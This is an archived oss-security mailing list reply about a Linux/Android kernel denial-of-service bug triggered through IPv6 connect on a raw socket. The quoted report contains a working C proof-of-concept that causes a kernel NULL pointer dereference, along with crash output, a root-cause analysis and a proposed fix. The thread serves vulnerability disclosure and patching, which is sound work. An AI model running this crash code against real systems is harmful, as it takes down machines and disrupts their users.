[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Wed, 9 Dec 2015 16:37:26 +0100
From: Robert Święcki <robert@...ecki.net>
To: oss-security@...ts.openwall.com
Subject: Re: CVE request - Android kernel - IPv6 connect cause
a denial of service
This also works under modern Linux kernels - and the SOCK_RAW socket can be
created with namespaces.
$ ~/src/nsjail/nsjail -Mo --user 0 --group 0 --keep_caps --chroot / --
/bin/sh -i
sh-4.3# /home/test/a
[ 513.294978] BUG: unable to handle kernel NULL pointer dereference at
(null)
[ 513.294990] IP: [< (null)>] (null)
[ 513.294995] PGD 70579e067 PUD 70e0f7067 PMD 0
[ 513.295001] Oops: 0010 [#2] SMP
Tested with:
$ uname -a
Linux ABC 4.2.0-18-generic #22~14.04.1-Ubuntu SMP Fri Nov 6 22:20:11 UTC
2015 x86_64 x86_64 x86_64 GNU/Linux
2015-12-09 11:15 GMT+01:00 郭永刚 <guoyonggang@....cn>:
>
> POC:
> #include <linux/types.h>
> #include <stdlib.h>
> #include <stdio.h>
> #include <sys/stat.h>
> #include <fcntl.h>
> #include <errno.h>
> #include <pthread.h>
> #include <sys/socket.h>
> #include <sys/un.h>
> #include <netinet/in.h>
> int main(void){
>
> int socket_fd;
> struct sockaddr_in addr;
> addr.sin_port = 0;
> addr.sin_addr.s_addr = INADDR_ANY;
> addr.sin_family = 10;
>
> socket_fd = socket(10,3,0x40000000);
> connect(socket_fd , &addr,16);
>
> return 0;
>
> }
>
> Analysis of causes:
> In the file net/ipv4/af_inet.c , It will cause pc is 0x0 , if the
> sk->sk_prot->get_port is NULL.
> static int inet_autobind(struct sock *sk)
> {
> struct inet_sock *inet;
> /* We may need to bind the socket. */
> lock_sock(sk);
> inet = inet_sk(sk);
> if (!inet->inet_num) {
> if (sk->sk_prot->get_port(sk, 0)) {
> release_sock(sk);
> return -EAGAIN;
> }
> inet->inet_sport = htons(inet->inet_num);
> }
> release_sock(sk);
> return 0;
> }
>
> Solution:
>
> Add check as follow:
> if (sk->sk_prot->get_port &&sk->sk_prot->get_port(sk,
> 0)) {
> release_sock(sk);
> return -EAGAIN;
> }
>
>
--
Robert Święcki
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
